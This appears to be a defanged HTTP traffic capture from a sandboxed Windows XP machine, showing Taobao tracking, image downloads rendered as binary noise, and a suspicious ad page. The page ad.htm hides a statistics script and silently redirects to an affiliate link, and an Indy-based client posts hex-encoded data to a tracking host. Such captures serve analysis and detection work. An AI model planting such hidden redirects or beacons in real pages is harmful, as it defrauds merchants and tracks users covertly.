GET /4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3Dy0%252FAnYnYDIscU%252BlhjhM%252BXZViamC%252Fv3dv&cache=bceafb5&scr=1276x846&spm-cnt=608.2291429.0.0.PDOUe4&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_0&aplus&yunid=&&trid=0a67c40d14336494116707235e&asid=AQAAAAADwXNVHj9jSgAAAAC3gYX/xOigfA==&p=1&o=winXP&b=ie6&s=1276x846&w=trident&ism=pc HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: log.mmstat.com

Connection: Keep-Alive

Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf

HTTP/1.1 302 Found

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:53 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: sca=04cf761a; path=/; domain=.mmstat.com

Set-Cookie: tbsa=80ccb62a9a3f2ce9d9c23f5c_1433649413_1; path=/; domain=.mmstat.com

Set-Cookie: atpsida=358e831e7afc4839aa4319b7_1433649413; expires=Wed, 04-Jun-25 03:56:53 GMT; path=/; domain=.mmstat.com

Location: hXXp://pcookie.taobao.com/app.gif?&cna= K76DU0gXVsCAcGK9OeOy6tf

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Sun, 07 Jun 2015 03:56:53 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: sca=04cf761a; 
path=/; domain=.mmstat.com..Set-Cookie: tbsa=80ccb62a9a3f2ce9d9c23f5c_
1433649413_1; path=/; domain=.mmstat.com..Set-Cookie: atpsida=358e831e
7afc4839aa4319b7_1433649413; expires=Wed, 04-Jun-25 03:56:53 GMT; path
=/; domain=.mmstat.com..Location: hXXp://pcookie.taobao.com/app.gif?&c
na= K76DU0gXVsCAcGK9OeOy6tf..Expires: Thu, 01 Jan 1970 00:00:01 GMT..C
ache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,
...........L..;..

GET /17745949.js HTTP/1.1

Accept: */*

Referer: hXXp://jc.110160.com/ad.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1932

Content-Type: application/x-javascript

Last-Modified: Sun, 31 May 2015 23:20:12 GMT

Accept-Ranges: bytes

ETag: "1ec7e58f89bd01:c49"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 03:56:50 GMT

Connection: close
document.write ('<a href="hXXp://VVV.51.la/?17745949" target="_blan
k" title="51.la 专业、
免费、强健的访问߭
F;计">网站统计</a>\n');..var a5
949tf="51la";var a5949pu="";var a5949pf="51la";var a5949su=window.loca
tion;var a5949sf=document.referrer;var a5949of="";var a5949op="";var a
5949ops=1;var a5949ot=1;var a5949d=new Date();var a5949color="";if (na
vigator.appName=="Netscape"){a5949color=screen.pixelDepth;} else {a594
9color=screen.colorDepth;}..try{a5949tf=top.document.referrer;}catch(e
){}..try{a5949pu =window.parent.location;}catch(e){}..try{a5949pf=wind
ow.parent.document.referrer;}catch(e){}..try{a5949ops=document.cookie.
match(new RegExp("(^| )a5949_pages=([^;]*)(;|$)"));a5949ops=(a5949ops=
=null)?1: (parseInt(unescape((a5949ops)[2])) 1);var a5949oe =new Date(
);a5949oe.setTime(a5949oe.getTime() 60*60*1000);document.cookie="a5949
_pages=" a5949ops  ";path=/;expires=" a5949oe.toGMTString();a5949ot=do
cument.cookie.match(new RegExp("(^| )a5949_times=([^;]*)(;|$)"));if(a5
949ot==null){a5949ot=1;}else{a5949ot=parseInt(unescape((a5949ot)[2]));
 a5949ot=(a5949ops==1)?(a5949ot 1):(a5949ot);}a5949oe.setTime(a5949oe.
getTime() 365*24*60*60*1000);document.cookie="a5949_times=" a5949ot ";
path=/;expires=" a5949oe.toGMTString();}catch(e){}..try{if(document.co
okie==""){a5949ops=-1;a5949ot=-1;}}catch(e){}..a5949of=a5949sf;if(a594
9pf!=="51la"){a5949of=a5949pf;}if(a5949tf!=="51la"){a5949of=a5949t
>>

GET /t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=y0%2FAnYnYDIscU%2BlhjhM%2BXZViamC%2Fv3dv HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:49 GMT

Content-Type: text/html; charset=GBK

Last-Modified: Thu, 04 Jun 2015 14:05:02 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Sun, 07 Jun 2015 03:56:49 GMT

Cache-Control: max-age=0

Content-Encoding: gzip
2fb.............V]o.0.}^~..4..5..2..Z[.U..jb.&..I....C.....>;..(m..
.b...s..%7...o...o. ....?.....<A.g.....%..e.....&..8.TR.c.....0.29E
h.X8....).~GK......D.x:..a........{....t...K..&T.....$..&..UB\S..D....
V.o.Y....4...b..8....}....Pk......a.X.....Yg.k...@..4}....,.........l`
).Y.k\.X.[1..,.>...X.'.....j...`c.A....0....X.4.)...R....S/tD......
GOo9..S.......K.3.......x.,........(].M.ao...fbD.5..].U.2J.".1UP..Z..|
....x....5.g..).p..6...S....b"<....wdV..I>.[..R......].dIew?V.X.
.z.X..5......'...._.w.O.>|V?.x.z.....s...2B.u....A.........Lq.#.VB1
.... .J.}<NZ!O.3..{.]..~....G..c..).8^...E.vN.......PD|.`)....$....
.^.)..HU....q.I..W....._..i.c.....dR......,.y.Y....8.n.,.V]..3..~_j.w&
..{mp.....#zy...-SE2.........}xI.>.'LI..C.m..{..>....."..xP|....
U.....O..Q..f.7..FvkU......0..

GET /ad.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: jc.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 757

Content-Type: text/html

Last-Modified: Thu, 14 May 2015 08:58:36 GMT

Accept-Ranges: bytes

ETag: "84468729248ed01:14e4"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 03:56:34 GMT
<html>..<body>..    <div style="display: none">  ..&
lt;script language="javascript" type="text/javascript" src="hXXp://js.
users.51.la/17745949.js"></script>..<noscript><a hre
f="hXXp://VVV.51.la/?17745949" target="_blank"><img alt="我
;要啦免费统计" src="hXXp://img.use
rs.51.la/17745949.asp" style="border:none" /></a></noscrip
t>..</div>..    <script language="javascript" type="text/j
avascript">..         setTimeout("location.href='hXXp://s.click.tao
bao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguM
N8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4V
ibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdX
pojKJn5AyUbPoV';", 100);..    </script>..</body>..</htm
l>..HTTP/1.1 200 OK..Content-Length: 757..Content-Type: text/html..
Last-Modified: Thu, 14 May 2015 08:58:36 GMT..Accept-Ranges: bytes..ET
ag: "84468729248ed01:14e4"..Server: Microsoft-IIS/6.0..X-Powered-By: A
SP.NET..Date: Sun, 07 Jun 2015 03:56:34 GMT..<html>..<body&gt
;..    <div style="display: none">  ..<script language="javas
cript" type="text/javascript" src="hXXp://js.users.51.la/17745949.js"&
gt;</script>..<noscript><a href="hXXp://VVV.51.la/?1774
5949" target="_blank"><img alt="我要啦免
费统计" src="hXXp://img.users.51.la/17745949.asp" st
yle="border:none" /></a></noscript>..</div>..
>>

GET /tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1323

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:10:18 GMT

Last-Modified: Sat, 25 Apr 2015 14:17:37 GMT

Expires: Thu, 29 May 2025 11:10:18 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache30.l2de1[0,200-0,H], cache39.l2de1[1,0], cache2.de1[0,200-0,H], cache9.de1[1,0]

Age: 492395

X-Cache: HIT TCP_MEM_HIT dirn:7:674129622

X-Swift-SaveTime: Mon, 01 Jun 2015 11:16:56 GMT

X-Swift-CacheTime: 315359602
GIF89a.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin
="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe
:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:4
4:00        "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-
rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http
://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/
sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:Ori
ginalDocumentID="xmp.did:02173465-d404-4b7b-bdf5-3b77242461ce" xmpMM:D
ocumentID="xmp.did:4EC8B078E28411E48DA0C5916A68EE5E" xmpMM:InstanceID=
"xmp.iid:4EC8B077E28411E48DA0C5916A68EE5E" xmp:CreatorTool="Adobe Phot
oshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID=
"xmp.iid:4236c97f-561f-4a8a-b455-ce8185ecc2f9" stRef:documentID="adobe
:docid:photoshop:e0f0ed29-2ae1-1178-8075-fbaef41d6a4d"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.......,.
.................l`....!.......,.............y.....IVT..!.......,.....
.............l`....!.......,.............y.....IVT..;..
>>

POST /detail.ashx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3339303634323132303934343B333B
HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:48 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 2

Connection: keep-alive

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private
okHTTP/1.1 200 OK..Server: nginx/1.2.9..Date: Sun, 07 Jun 2015 03:53:4
8 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 2..Conn
ection: keep-alive..X-Powered-By: ASP.NET..X-AspNet-Version: 2.0.50727
..Cache-Control: private..ok..

GET /play/fxappimg/btn/tab3.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: image.anbangjiance.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=172800

Content-Type: image/png

Last-Modified: Wed, 18 Jun 2014 06:21:36 GMT

Accept-Ranges: bytes

ETag: "676de68ebd8acf1:0"

Server: Microsoft-IIS/7.5

Date: Sun, 07 Jun 2015 03:57:00 GMT

Content-Length: 12235
.PNG........IHDR...`...T........C....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:F9757A3FF07C11E3B9F38277EE
41A726" xmpMM:DocumentID="xmp.did:F9757A40F07C11E3B9F38277EE41A726"&gt
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F9757A3DF07C11E3B9F3
8277EE41A726" stRef:documentID="xmp.did:F9757A3EF07C11E3B9F38277EE41A7
26"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>u6>...,AIDATx..}..eGy^.}.}....Y.$"Y...0.A.
v.'^....dk.(XU...e.A"..L*.8.Fc...v.....$.......J......Hveq**.9.e.7..{O
.9.....r.{...T.Jo...O.w.........Y...w...0g..=.3. .7.t|.|.`..m*..g.....
...D..D..D..{...}`..=#.._.S.L=....H.%...c.......).X...... .%.....7h.&g
t;p..g.......w.........o..o?..A...t....f...yQ}.....5t....j..o..gb..hy.
.......l. ..(....*.../.....>..|..W./$....P.u4.P./i.......k.........
..p.?-SP..Pj..@.X1@......n.g../..!.:.....[-.......%x .'.....=........m
....w-.3#.T.:P33...2R0)n'O....ysm.u4........G........|.p.........8q..7
......6... ...............t.`.<.. .b..e5...^.F_T.3.,.U.w[..^...
>>

GET /tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 4399

Last-Modified: Thu, 28 May 2015 08:49:03 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 2.16.219.116

Timing-Allow-Origin: *

Cache-Control: max-age=314868045

Expires: Thu, 29 May 2025 11:17:38 GMT

Date: Sun, 07 Jun 2015 03:56:53 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR.......2......R.(....PLTE.)`..........)`.(_....*`.)].*
^.(_.(^.(a.)_....*^.(].............*a..........*^.(`....(b.......i.. `
.*\....U........'a....].....d..4j. _......................*a..........
......N|..e...................7k.9j.............R.. b.)_..............
..g..U..T..=p.2f.0e.(\...................v..n..j..Lz.;m.']............
.......~..=o...............................{..u..g..a..X..Dr..f.......
............q..q..Jv.............w..Gv.Fv.Bs.6i.......Y..............6
j....S~.66"..."IDATX..YW[.G......[...a.B5...6..l....{/.vz..7g6.H.....\
#.vG3..{n.L..q.p.5q....XH.Q......b..!!L....b\.....k.3...7..6&$.0..."#.
.1.......%.MW_."/p%.!...\U..X...uQ%.ZV......*g..,........2....4.W..c..
........?1..LL.e..@ yD..'w.Q&.....e.....N......5V4.F*^f...._7....rc...
!.KD.}..Y..9.".v..s.....{....4.49...d....:.4..tN.kd.p.........K..t....
M..Y.......xD.V...(...M....ki...3q......F2....d..]43>...I.4*. 0.#..
n..~..^.F......^}......=./...3H .c...B..4.[...>..z,.%.3.....^...fN.
p.N>.4..r..v.x.Zm>.}/...:",c..a]&.=.A}..|...~.,....}....u..N....
....X....R....n...F..B..........\$%......./~....S<^..\.h.x...6...U.
..]S.....`...dS.C0.......o...).,...(..u..Q....:..xy.R. ..../..CR.Z .q.
..]2..x=.........O..'.v.`{.....d..Z.W[.....6/."...@.[.r.U....&.6;"opb.
..Rh.zn............C.........../...D._.h..).G.D6.M.g|/...."*....*..e..
HG..f7o.......s{J...CtbE.d....c....Q...E~.z...$."..%......X........k..
-.f.]X....>2....~9...[.L...~v......lm.&.l.~.R{{..x.,|...%_......._.
.>..R2Q.....i.N}H.5...R. nl..1.M..v..u..,...cX.=X<.N....~Vb.
>>

GET /tps/i1/TB12r9WIXXXXXaLXXXXLw_rPFXX-480-420.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 42684

Last-Modified: Thu, 04 Jun 2015 13:26:18 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.171

Cache-Control: max-age=315136423

Expires: Sun, 01 Jun 2025 13:50:36 GMT

Date: Sun, 07 Jun 2015 03:56:53 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR.....................PLTE...............nG........x...
.Z;........f..`..^..........................i..............~........q.
..............l..................U.].......PK.................... ..~.
.9...............q4U.r:...............>;3.......o.............31 ..
.......[[a.fn...............GEB...6v...z..?..0........................
.....-VUM._!ouz..e!#'..@.......`>.E.gfj....>...v.......jL.....9.
......r9I.......y^.....}I[..Y.a.......3%.. ....p}........}\.r3..Z..z.S
u...xrc..Z.. ...L.......k.2.hhO...gO/...$f.........I|......Y(..{b'.z..
.TD..qJN_.C'$.E ..e..Mr.....z.QA.........W..f.....8..........,....e..y
 ......e...............v.....Ds.....b.....n..J.Dcz.g_....=...Q.)..../B
[............VC....}.........B...r?.5.C .....c.^.9%.|n0....v- U.~i...2
..T.e...d...y.......y.6.u..K...K.e.....:..3.....3...&tRNS.?...6....W..
e}O.X..m4.....F.|.....c<...=}...HIDATx...oh.d....D.....y.r..^.v]...
1..w1...[.K7...vT.2...C....2.0..!(W..p..|a=.C..p...}S.c...o.e].zz.....
..........'K...h...=}.R..P{...c...._.}......A..Y_..j..]...........@G..
nh......)..m....7.?.m......oo...t..{......@...r[;.%S...{........r...}.
..L.......z..Z3.C.@...Z2E7..'.o-`.!K79..#.*..Z.....,...q_...}Mwx...[b.
...........hx\.E^.|....BpO.;.d.........Ya9.bn......9..........q...n.St
..}.j..(.j4\..W.sw..r..,'...Y.O :U.........(............DA.,..>...z
K.4....e.....d..!...iE)..$q.`.....`;...i.E..j.....(..tFD4.Zs:.GEUI...X
.d... ..;...&....&.M........Q........1q.f.Dp_.y..y..E.[..3j ,...*.w..,
.... .6.M.M<Q....$....Al'.Gx.\.W..../.....>..|4.PU8...t;J.3.
>>

GET /tps/i3/TB1sty3IXXXXXXuXVXX4jSz3VXX-1920-50.jpg_q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 33607

Last-Modified: Sat, 06 Jun 2015 08:31:22 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.166

Timing-Allow-Origin: *

Cache-Control: max-age=315291652

Expires: Tue, 03 Jun 2025 08:57:45 GMT

Date: Sun, 07 Jun 2015 03:56:53 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.............C..............................................
......................C...............................................
........................2.............................................
Z...........................!1.AQ.."a.23q..#R...$4Br....SVWbc......7Ds
u....58ETUt.........................................L.................
........!1.AQ.aq.."2......B..3Rr.#STUb...$456......DF...s............?
..kF.i%.(.DJ"Q...D.%.(.DJ"Q...D.%.(.DJ"Q...D.%.(.DJ"Q...D.%.(.DJ"Q...Q
U..*..\.!^E*.*..EZ".UU*.*....UUJ..I.*..j..Z.ET.J)'.T.*I.PT*.J.....B.T.
*C..T)..EUQ....j.UHUJ.Q....UR.c.QUV..^..K....$. ....A g..........6[...
.P.*..i........d...Xl.d.....2J.....b..S.G..<5.I.^3cH.5.r.[2#...ic.B
.pRG..b...1...!zG %..Fn...lA..zW.R.q,w.6..q....E_...4Km....v..O..qO3.2
..(..X.W..P.g....6........k....Qlw..G..Zf.n.p......@.^1.?]z.i...0.....
.7..2.....C.n.|.V).b...i XBFJ...5P.l...\.......k......n>.b..|[.\..l
..G./.....}......7..S...._.7......#.....Q.....S..d%.*'..........1@.b..
...<...O.._.....}cs@r...:.vY.....P..c....d.>El.1....Z...0'.5W...
.pc*D./?.H..h..>..j....m..M...%...`.?#*.~.o......LV......D..D...}..
.m....p..d..F....rt.yK "c....\...z......[.)..$.Z...X....4..a~IZZz.c.^p
.CP....7. .xR...s..V.......Xl.j.$....5X..w.D...@\.....3$..h.M..nW..^.!
lHim:.....R..B.Q^oc.......1....7.b6Q.U.U..M...G..G...|=..W...y...f..4.
.m....6..........>.n/n..[.. .H..U*..P..'.T.*I...#..v.ib.&.%.RH..SD6
. ..v.C.."Z...l...;cm......I..$..._Q...a....e.4.<E...g.......osK.$.
.K.u.....N.a...PW.E4....{.."\.F........AR.}..MLqI .q.....'.x. "a|.
>>

GET /tps/i2/TB1N5K8IXXXXXbEXXXXAcXu3pXX-540-420.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 56540

Last-Modified: Fri, 05 Jun 2015 11:39:28 GMT

Access-Control-Allow-Origin: *

Cache-Control: max-age=315217406

Expires: Mon, 02 Jun 2025 12:20:21 GMT

Date: Sun, 07 Jun 2015 03:56:55 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

SERVED-FROM: 80.239.222.164
.PNG........IHDR.............MQ......PLTE....*......U..............b..
.. ....................M7....J6....L5....N6........J..Y..F.a8.....U..Y
.@2..........E7.[1.R4.d.....n ....x(..\..%..!...........|.......rc....
............XI.....W.................E...........B........H.........30
)?<4.z9.......m?....... #..F......WUQ....V......;``i..G..........0.
.......L.,.../.nv..s6.aREFG......tpf....k...l..u.......t...m.d9@|.....
W%.>&|*.....i).../p.........n............../..S.}$........_c ...7..
..\......aK.......9....zU.....r.......M'......hcRQ....{.1..rW..:.; ...
.P@.aD..|..J.$..Nn...GNe.~uvI2\< ......W}....g.............V.....|'
5H.. ......q....d.......ol........Mk:Y.sEf...%u;m......6...o.aqo..,...
..B.C.<.......d....I[..[.VC..Y.....u..........Dd|9'...x.T-.J.....=.
....._v..f.......0....8...[K..u.......0....I..,ym.b.k.....%tRNS. ....&
gt;.6.9Y....GZ..l.vz..V...li....|.......fIDATx....k#U..5.o.oQQP....u..
V....7.B3i.M..Q.j.j..0.T.&.>.....F0...8]mw.!..eaA....>.(.m......
..gfg.z......z...s.Ls.^.....^..C.....!h..C^.....g^x..."...x....3......
.'G..{.._.....3................9..P......-?...>D..9a........AP<Z
7#.!.........8.a1sC=...b..J...G......7.......`........}.@;..FHD.......
..M...:M.[..........L..V.8.....[PZ..H..M.....B....u.H....r.B..X9..W.h.
Q4.;..q........E.!b....os.8.2..B..R..{....M..a.kWx.G..J...qy.2........
4b=..C...CV4......?PF.......z..@.............aO8..\s.B.h,8.'5.C|5.h8St
...q%.L.9...kHR.Gg...E..Q....<.LJ...7......b...`..8.z.".....klw.q]M
_....p...4. ...)@|.....M..)t.Ehto...(.......1.....@.E.a..x.i...^F^
>>

GET /tps/i1/TB1Mhf9HVXXXXaFXVXXNDV3FVXX-150-50.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 110321

Last-Modified: Thu, 28 May 2015 08:46:08 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 81.52.170.70

Cache-Control: max-age=315216839

Expires: Mon, 02 Jun 2025 12:10:55 GMT

Date: Sun, 07 Jun 2015 03:56:56 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
GIF89a..2.....)_.)`.;o.0^.Gu.T{.,].Y..}..m...........e................
...................4_.0Y.4Y.8Y.AU.AQ.IQ.:U.......qp..t.EQ.QM.KM.UI.YI.
[E...n.1..$.(5..Xd0...-xC3..E.IC...PO.3 #..F.?4..<pm......6.../....
...n..v....(i./b..P@>=..h.\..q...e.....d.|.....pI....J.....Oi...gTU
.n..sK..K....LW.rl..G.................................................
.....................................................!..NETSCAPE2.0...
..!..XMP DataXMPd?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; EFC5E11E499688F5114B067D3" xmp:CreatorTool"r"?>.!...P...,......2
....`..c .d..@..c..t}.l:.....]....~%..H,.rN....!..*...E}..lL.A.C(..^..
d%.97..A.....{6AO>8Msb.`n\B.zFa.zy.lX5... .pBi.~.{d.G..[.r_wr.V..I.
:.b..............~........Hvt}.@RY..|. Va.}....|...e.....j............
.q......JU...,.....M..hZ.%2....gX.4........4....7.. ..t.m....8.)w....8
s......R.. p0.......h......$T..!)..Bwr1.a...I'>.@aj..45...`...p.NE.
B@...,....X..q/.0 ....&.....@....aZ.....g|.i .s\...[.0....].b..1.`....
..N......(.................cw.&..S'.....N..&08.:...1m.x.V.m..1.P.;.g.p
'...?..G.G.w.......P.mX.A.[..D..[.-8....0...R..c.yR.^..U@..uX........=
x....xAqn)....AP...|w..z8X.`....]#P..."...'..VAY.!.Wq....Wp..@^.00L8n.
.....i....g...Y0..l.v.%&.....H`A.}.`.[H..a...Y...FG[P.:9...d.a...R..c.
...S.8..c....#..D.wj.......TH.7(.....z.bp#..Y....^.VI..J...4...j..c\..
